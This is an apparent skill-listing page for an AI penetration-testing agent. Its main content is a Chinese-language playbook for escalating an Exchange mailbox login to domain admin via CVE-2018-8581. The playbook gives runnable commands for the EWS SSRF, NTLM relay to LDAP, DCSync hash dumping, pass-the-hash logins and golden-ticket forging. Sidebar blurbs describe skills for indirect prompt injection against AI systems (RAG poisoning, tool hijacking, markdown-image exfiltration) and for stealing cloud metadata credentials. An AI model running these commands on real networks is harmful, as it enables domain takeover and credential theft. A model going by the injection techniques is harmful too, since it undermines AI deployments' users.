en un clic
Exchange 服务器到域控提权 - CVE-2018-8581 Exchange2Domain 攻击链
npx skills add https://github.com/hanc00l/nemo-agent-v1 --skill exchange-to-domainCopiez et collez cette commande dans Claude Code pour installer le skill
Exchange 服务器到域控提权 - CVE-2018-8581 Exchange2Domain 攻击链
npx skills add https://github.com/hanc00l/nemo-agent-v1 --skill exchange-to-domainCopiez et collez cette commande dans Claude Code pour installer le skill
AD CS 证书服务攻击 - ADCS ESC1-ESC8 + ADCSKiller 自动化利用
辅助技能集合 - 从 AboutSecurity 项目整合的高级渗透测试技能
渗透测试技能集合 - 覆盖三个赛区的综合渗透测试能力
AI/LLM 间接 Prompt 注入攻击。当目标 AI 系统会处理外部数据源(网页、文档、邮件、数据库、API 返回、用户评论)时使用。覆盖间接注入(通过网页/文档/图片嵌入指令)、工具链劫持(让Agent调用危险工具)、RAG投毒(向知识库注入恶意内容)、跨插件攻击(利用多工具交互)、数据外泄(通过markdown图片/链接泄露对话)。与 prompt-jailbreak 的区别:jailbreak 直接操纵用户输入,injection 通过第三方数据源间接注入指令。发现目标 Web 应用集成了 AI 聊天、AI 搜索、RAG 知识库、AI Agent 或任何 LLM 功能时都应使用此 skill
云元数据利用。当通过 SSRF 或已获取的 shell 可以访问云实例元数据服务时使用。覆盖 AWS/Azure/GCP/阿里云/腾讯云的元数据端点、IAM/CAM 凭据提取、IMDSv2 绕过、从元数据到云服务枚举的完整攻击链。发现任何 SSRF 场景、内网可访问 169.254.169.254 或 100.100.100.200 的场景都应使用此技能
Web 应用业务逻辑漏洞检测与利用。当目标有支付/交易/订单/优惠券/积分/余额/充值/转账/购物车等商业功能时使用。当发现用户注册/登录/短信验证码/邮箱验证/密码重置等账户功能时使用。当 API 请求中出现价格(price/amount)、数量(quantity/count)、订单号(order_id)、优惠码(coupon/promo)等业务参数时使用。业务逻辑漏洞不需要技术漏洞(SQLi/XSS),而是利用应用流程设计缺陷——负数金额、0元支付、订单状态篡改、验证码复用、并发竞争。SRC 众测和实战渗透中最高频的漏洞类型之一,每个有交易功能的应用都应检查
| name | exchange-to-domain |
| description | Exchange 服务器到域控提权 - CVE-2018-8581 Exchange2Domain 攻击链 |
| zone | 3 |
将合法邮箱凭证提升至域管权限,通过 Exchange SSRF + NTLM Relay 攻击链获取域控权限
CVE-2018-8581 是 Exchange 服务器的严重权限提升漏洞,利用了 EWS 接口的 SSRF 特性和 NTLM Relay 攻击,使得拥有合法邮箱凭证的普通域用户可以被提升至域管权限。
Exchange Server 2010
Exchange Server 2013
Exchange Server 2016
邮箱用户凭证
↓
Exchange EWS 推送订阅 (SSRF)
↓
Exchange 发起 HTTP NTLM 认证 (SYSTEM 权限)
↓
NTLM Relay 到域控 LDAP
↓
Exchange 机器账户授予 DCSync 权限
↓
导出所有域用户密码哈希
EWS 推送订阅漏洞:
SYSTEM 权限 NTLM 认证:
CredentialCache.DefaultCredentials 发起 HTTP 请求LDAP 签名绕过:
权限提升:
write-acl 权限# 方法 1: 通过端口识别
nmap -p 443 --script ssl-cert exchange-server.local
# 方法 2: 通过 OWA 识别
curl -k https://exchange-server.local/owa/ | grep -i "exchange"
# 方法 3: 通过 EWS 接口测试
curl -k https://exchange-server.local/EWS/Exchange.asmx
# 查询已安装的补丁
Get-HotFix | Where-Object {$_.HotFixID -eq "KB4467499"}
# 或者查看 Exchange 版本
Get-ExchangeServer | Select-Object Name, Edition, AdminDisplayVersion
# 获取域控信息
nslookup -type=srv _ldap._tcp.dc._msdcs.$(dnsdomainname)
# 获取邮箱用户凭证(已拥有)
# user: domain\\user
# pass: Password123
重要: 所有工具位于 /opt/workspace/ad/ 目录
# 主目录
cd /opt/workspace/ad/
# 主要工具(每个工具在独立的子目录中)
./Exchange2domain/Exchange2domain.py # Exchange 到域控自动化工具
./privexchange/privexchange.py # Exchange EWS 推送订阅触发器
# ntlmrelayx 来自 impacket,系统已安装
# 工具位于 /opt/workspace/ad/Exchange2domain/
cd /opt/workspace/ad/Exchange2domain/
# 检测漏洞
python3 Exchange2domain.py -ah exchange-server.local -u user@domain.local -p password -d domain.local --check
# 测试 EWS 接口是否可访问
curl -k -u user@domain.local:password \\
https://exchange-server.local/EWS/Exchange.asmx \\
-H "Content-Type: text/xml" \\
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body></soap:Body></soap:Envelope>'
# 在攻击者机器上启动
ntlmrelayx.py \\
-t ldap://dc-ip-address \\
--escalate-user attacker_user \\
-debug
# 参数说明:
# -t: 中继目标(域控 LDAP)
# --escalate-user: 要提权的用户
# -debug: 开启调试模式
# 工具位于 /opt/workspace/ad/Exchange2domain/
cd /opt/workspace/ad/Exchange2domain/
python3 Exchange2domain.py \\
-ah exchange-server.local \\
-u user@domain.local \\
-p password \\
-d domain.local \\
--dump
# 参数说明:
# -ah: Exchange 服务器地址
# -u: 邮箱用户名
# -p: 密码
# -d: 域名
# --dump: 自动执行 DCSync 导出哈希
# Exchange2domain 会自动完成以下步骤:
# 1. 连接 EWS 接口
# 2. 创建推送订阅,指定 ntlmrelayx 监听地址
# 3. 触发 Exchange 发送通知
# 4. NTLM Relay 自动完成
# 工具位于 /opt/workspace/ad/privexchange/
cd /opt/workspace/ad/privexchange/
# 触发 Exchange 向攻击者发起 NTLM 认证
python3 privexchange.py -ah exchange-server.local -u user@domain.local -p password -d domain.local
# 监听地址会自动设置为 ntlmrelayx 的地址
# 工具位于 /opt/workspace/ad/Exchange2domain/
cd /opt/workspace/ad/Exchange2domain/
# 如果使用了 --dump 参数,会自动导出
python3 Exchange2domain.py -ah exchange-server.local -u user@domain.local -p password -d domain.local --dump
# 导出的哈希会保存在当前目录
# 使用 secretsdump 导出域控哈希
secretsdump.py domain.local/attacker_user:password@dc-ip-address -just-dc
# 或者使用 impacket 的 DCSync
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \\
-just-dc-ntlm \\
domain.local/attacker_user:@dc-ip-address
# 使用域管哈希登录
psexec.py -hashes :nthash domain/administrator@dc-ip-address
# 或者使用 wmiexec
wmiexec.py -hashes :nthash domain/administrator@dc-ip-address
# 导出 KRBTGT 哈希
secretsdump.py -just-dc-ntlm domain.local/attacker_user:@dc-ip-address
# 生成黄金票据
ticketer.py -nthash krbtgt_hash -domain-sid domain_sid -domain domain.local administrator
# 使用票据
kinit administrator@domain.local
异常的 EWS 推送订阅:
-- 检查 Exchange 中的推送订阅
Get-Subscription -ResultSize Unlimited | Where-Object {$_.NotificationUrl -match "http"}
异常的 LDAP 修改:
write-acl 操作DCSync 行为: